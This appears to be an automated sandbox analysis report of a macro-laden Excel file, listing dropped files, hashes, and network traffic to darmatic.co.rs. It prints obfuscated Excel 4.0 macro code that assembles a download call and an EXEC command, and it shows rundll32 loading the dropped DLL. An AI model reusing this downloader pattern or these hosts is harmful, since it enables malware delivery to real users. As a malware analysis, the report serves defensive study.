SSDEEP:	1536:WIA6c7RbAh/E9nF2hspNuc8odv+1//FnzAYtYyjCQxSMnl3xlUwg:WAmfF3pNuc7v+ltjCQSMnnSx
MD5:	64FEDADE4387A8B92C120B21EC61E394
SHA1:	15A2673209A41CCA2BC3ADE90537FE676010A962
SHA-256:	BB899286BE1709A14630DC5ED80B588FDD872DB361678D3105B0ACE0D1EA6745
SHA-512:	655458CB108034E46BCE5C4A68977DCBF77E20F4985DC46F127ECBDE09D6364FE308F3D70295BA305667A027AD12C952B7A32391EFE4BD5400AF2F4D0D830875
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0..T....H.........T.0..T....1.0...`.H.e......0..D...+.....7.....D.0..D.0...+.....7..........R19%..210115004237Z0...+......0..D.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Mon Feb 15 22:48:42 2021, atime=Mon Feb 15 22:48:42 2021, length=12288, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.476678577461042
Encrypted:	false
SSDEEP:	12:85QnLgXg/XAlCPCHaXgzB8IB/IMMhX+WnicvbiubDtZ3YilMMEpxRljKZTdJP9TK:85I/XTwz6I6FYemiDv3qYrNru/
MD5:	FE02A62BEEAEA1F9C9D0B899CF650687
SHA1:	D4FEE9C272F5D8665BA46423FE33B2F83BA45584
SHA-256:	9E42B5A799B57DC6B1238E891600FB87F72944643C1BC131E476B7289CE65179
SHA-512:	4C2D74DF96E7747B462B101B132A24B33ECDBE7BEC0490AAC60E62BE1679822CB1FCE6907C1156241C7859C4E47E352C7ED58CB877ACB81519A23E67D9630EFE
Malicious:	false
Reputation:	low
Preview:	L..................F...........7G....y.......y......0......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....OR....Desktop.d......QK.XOR....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\562258\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......562258..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\estimated (99).LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Mon Feb 15 22:48:42 2021, atime=Mon Feb 15 22:48:42 2021, length=325632, window=hide
Category:	dropped
Size (bytes):	2068
Entropy (8bit):	4.551887714300889
Encrypted:	false
SSDEEP:	24:8xb/XTwz6IknkmemBzpDv3qYdM7dD2xb/XTwz6IknkmemBzpDv3qYdM7dV:8t/XT3IkZ9yYQh2t/XT3IkZ9yYQ/
MD5:	A96D3D1B6000AA3A714F7CA30A364420
SHA1:	9ABC0A9C9886A5C22C4CED4997E19EC007E456D1
SHA-256:	EE7779C948E06AA47BD29350726079C45BA072324D5DC8607AB3EEB3783C5570
SHA-512:	9529749DAEA9FF1843FEF18FFF0E7A76D885F7647163E4360223A10CCCEE64FFC27456713128595D020E1156F6BEC3E2B42FC9C84195931567A06E99B0E2ECEB
Malicious:	false
Reputation:	low
Preview:	L..................F.... ...T.&..{....y..........................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....n.2.....OR.. .ESTIMA~1.XLS..R.......Q.y.Q.y...8.....................e.s.t.i.m.a.t.e.d. .(.9.9.)...x.l.s.......\|...............-...8...[............?J......C:\Users\..#...................\\562258\Users.user\Desktop\estimated (99).xls.).....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.e.s.t.i.m.a.t.e.d. .(.9.9.)...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......562258..........D_....3N...W...9F.C...........[D_

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.563263172107174
Encrypted:	false
SSDEEP:	3:oyBVomMVfNtkCYWRMENtkCmMVfNtkCv:dj6Rzk0MEzkURzks
MD5:	5CEE92E4C0AF90E3FC4A43698C69AE1E
SHA1:	E0E34E419508A6738C68458DBE2F29FB48556FC5
SHA-256:	F39016E5C1D5F8ACDCCA2EF35B4B681EC731BA560A249B390B068B68C08B509C
SHA-512:	22D621C072FF774ED8E7A24E60B063DC5E847579C7AD26619D907B2D605A2121709183858A58512059BBE984CE2B2E4A7CEF483BF0CC77294040EA610B58459B
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[xls]..estimated (99).LNK=0..estimated (99).LNK=0..[xls]..estimated (99).LNK=0..

C:\Users\user\Desktop\10EE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	379198
Entropy (8bit):	7.261926599542817
Encrypted:	false
SSDEEP:	6144:dcKoSsxzNDZLDZjlbR868O8KL5L+2e32xEtjPOtioVjDGUU1qfDlavx+W2QnAFEG:ReLUIRfUI5uXL6nDJova
MD5:	30CBF379E4470CA50EB294FC673002F7
SHA1:	5BE04B40DDD5C05B10E3D402FB757F52D0FF05A7
SHA-256:	EB16EC58D9429A953E1E0BE29E58304A1B0B164DD72955145E7666C71A71B6FB
SHA-512:	C759D01FAD86518AC000D67B8473E62F3DBE438A7FB879290E5DCA2FED4177CC69A642BE6925853AC10113BAA703EC6CE5FC9568D6C34F817067A6DA0BF83750
Malicious:	false
Reputation:	low
Preview:	........g2.........................\.p.... B.....a.........=...............................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...........

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Feb 15 09:57:01 2021, Security: 0
Entropy (8bit):	7.583974579639269
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	estimated (99).xls
File size:	326144
MD5:	48e967d6fb49bad425f2a30e9397044b
SHA1:	f173318107c6cb325fd1271644db2a394f993f69
SHA256:	ed67c2bce3ce33f697d5d60f73f861bdba018cd71610e5cdcc92427263fca8a1
SHA512:	7f9bf241c46103f79bcb7d706295e1ac64183fd511df9570bc1f7cf399603d6875a6845ad348226c88ec4f8923d556826b56b259c73220d778eeff8de82280f1
SSDEEP:	6144:EcKoSsxzNDZLDZjlbR868O8KlVH3Be3q7uDphYHceXVhca+fMHLty/xcl8uUM+lQ:GeLUIRfUI5uXL6nDJoM
File Content Preview:	........................>.......................{...........................v...w...x...y...z..................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "estimated (99).xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-02-15 09:57:01
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.337451371743
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c 2 . . . . . D o c 1 . . . . . D o c 3 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 a8 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.250492291218
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 313908

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	313908
Entropy:	7.7178226629
Base64 Encoded:	True
Data ASCII:	. . . . . . . . g 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . . . X . @ . . . . . . . . . . . " . . . . .
Data Raw:	09 08 10 00 00 06 05 00 67 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=FORMULA.ARRAY(Doc3!AF23&""2 "",before.2.0.0.sheet!AD15)","=FORMULA.ARRAY(Doc2!AF3,Doc2!AE22)","=FORMULA.ARRAY(Doc2!AE3&Doc2!AE4&Doc2!AE5&Doc2!AE6&Doc2!AE7&Doc2!AE8&Doc2!AE9&Doc2!AE10&Doc2!AE11&Doc2!AE12&Doc2!AE13&Doc2!AE14&Doc2!AE15&Doc2!AE16&Doc2!AE17&Doc2!AE18&Doc2!AE19&Doc2!AE20,before.2.0.0.sheet!AF15)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AE14(),=AF14(),"=""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&before.2.0.0.sheet!AK22()",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""U""&""R""&Doc2!AF8&""n"",Doc3!AF22&Doc3!AF21&Doc2!AD24&Doc2!AE22,""JJCCBB"",0,before.2.0.0.sheet!A100,""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&""""&Doc2!AF7,0)",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=Doc3!AI4(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

,,,=EXEC(Doc1!AD15&Doc2!AF7&Doc1!AF15),,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=REPLACE(Doc2!AD25,7,7,""nloadTo"")",,,"=REPLACE(AH23,7,7,"""")",,,"=REPLACE(Doc2!AD3&Doc2!AD4&Doc2!AD5&Doc2!AD6&Doc2!AD7,7,7,""l3"")",,URL,

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 16
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 15, 2021 15:49:13.791960001 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.864586115 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.864792109 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.885714054 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.957506895 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.958545923 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.958592892 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.958631039 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.958635092 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.958659887 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.958667994 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.958676100 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.958710909 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.959661961 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:13.959738970 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:13.968462944 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:14.040692091 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:14.040833950 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:15.056469917 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:15.167438030 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:15.558629036 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:15.558676958 CET	443	49167	217.26.213.91	192.168.2.22
Feb 15, 2021 15:49:15.558857918 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:15.561418056 CET	49167	443	192.168.2.22	217.26.213.91
Feb 15, 2021 15:49:15.632994890 CET	443	49167	217.26.213.91	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 15, 2021 15:49:13.711478949 CET	52197	53	192.168.2.22	8.8.8.8
Feb 15, 2021 15:49:13.768529892 CET	53	52197	8.8.8.8	192.168.2.22
Feb 15, 2021 15:49:14.401218891 CET	53099	53	192.168.2.22	8.8.8.8
Feb 15, 2021 15:49:14.452872992 CET	53	53099	8.8.8.8	192.168.2.22
Feb 15, 2021 15:49:14.496109962 CET	52838	53	192.168.2.22	8.8.8.8
Feb 15, 2021 15:49:14.545005083 CET	53	52838	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 15, 2021 15:49:13.711478949 CET	192.168.2.22	8.8.8.8	0x1168	Standard query (0)	darmatic.co.rs	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 15, 2021 15:49:13.768529892 CET	8.8.8.8	192.168.2.22	0x1168	No error (0)	darmatic.co.rs		217.26.213.91	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 15, 2021 15:49:13.959661961 CET	217.26.213.91	443	192.168.2.22	49167	CN=darmatic.co.rs CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Sat Jan 16 01:00:00 CET 2021 Mon May 18 02:00:00 CEST 2015 Thu Jan 01 01:00:00 CET 2004	Sat Apr 17 01:59:59 CEST 2021 Sun May 18 01:59:59 CEST 2025 Mon Jan 01 00:59:59 CET 2029	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
					CN="cPanel, Inc. Certification Authority", O="cPanel, Inc.", L=Houston, ST=TX, C=US	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Mon May 18 02:00:00 CEST 2015	Sun May 18 01:59:59 CEST 2025
					CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Jan 01 01:00:00 CET 2004	Mon Jan 01 00:59:59 CET 2029

Code Manipulations

Statistics

CPU Usage

• EXCEL.EXE
• rundll32.exe

Click to jump to process

Memory Usage

• EXCEL.EXE
• rundll32.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• EXCEL.EXE
• rundll32.exe

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 920 Parent PID: 584

Function Logs

General

Start time:	15:48:40
Start date:	15/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f020000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Section Activities

Sections loaded by Windows

Sections loaded by Program

Show Windows behavior

Mutex Activities

Mutex Created

Show Windows behavior

Process Activities

Process Created

Process Information Set

Show Windows behavior

Thread Activities

Thread Created

Thread Information Set

Show Windows behavior

Memory Activities

Memory Usage Statistics

Show Windows behavior

System Activities

Language or Locale ID Queried

Show Windows behavior

Timing Activities

LPC Port Activities

Chronological Activities

Analysis Process: rundll32.exe PID: 2528 Parent PID: 920

Function Logs

General

Start time:	15:48:45
Start date:	15/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\kdfe.vbox,DllRegisterServer
Imagebase:	0xff5b0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

File Activities

File Attributes Queried

Show Windows behavior

Section Activities

Sections loaded by Windows

Show Windows behavior

Registry Activities

Show Windows behavior

Mutex Activities

Show Windows behavior

Process Activities

Process Information Set

Show Windows behavior

Thread Activities

Thread Information Set

Show Windows behavior

